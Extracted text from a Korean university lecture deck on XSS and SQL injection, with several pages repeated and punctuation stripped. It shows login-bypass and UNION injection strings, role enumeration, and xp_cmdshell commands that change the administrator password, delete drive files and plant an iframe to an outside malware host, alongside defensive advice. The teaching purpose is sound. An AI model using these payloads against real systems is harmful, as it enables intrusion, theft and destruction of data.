1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 31: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 32: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 33: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

